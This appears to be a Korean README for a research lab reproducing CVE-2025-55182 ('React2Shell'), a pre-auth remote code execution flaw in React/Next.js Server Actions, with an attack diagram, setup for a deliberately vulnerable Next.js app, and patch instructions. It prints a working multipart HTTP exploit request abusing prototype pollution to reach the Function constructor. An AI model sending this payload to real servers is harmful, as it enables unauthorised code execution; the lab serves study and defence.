randarts/react-rceCVE-2025-55182 취약점에 대한 샘플을 AI와 함께 작성 및 테스트 했습니다.
사용된 AI : Claude Opus 4.5 ⚠️ 경고: 이 환경은 교육 및 연구 목적으로만 사용하세요.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 이름 | React2Shell |
| CVSS | 10.0 (Critical) |
| 유형 | Pre-Auth Remote Code Execution |
| 원인 | Flight 프로토콜 역직렬화 시 프로토타입 오염 |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action 헤더 → Server Action 트리거 │
│ 2. multipart 페이로드 → Flight 프로토콜 역직렬화 │
│ 3. Fake Chunk 객체의 then() 메서드 호출 │
│ 4. __proto__ 참조 → 프로토타입 오염 │
│ 5. Function 생성자 주입 → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
핵심 요소:
Next-Action 헤더로 Server Action 트리거then method for promise-like behavior$@0 참조로 프로토타입 체인 순회__proto__:then을 통해 Function 생성자 접근cd vulnerable-app
# 의존성 설치
npm install
# 개발 서버 시작
npm run dev
http://localhost:3000 에서 접속
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# 패치 버전으로 업그레이드
npm install [email protected] [email protected] [email protected]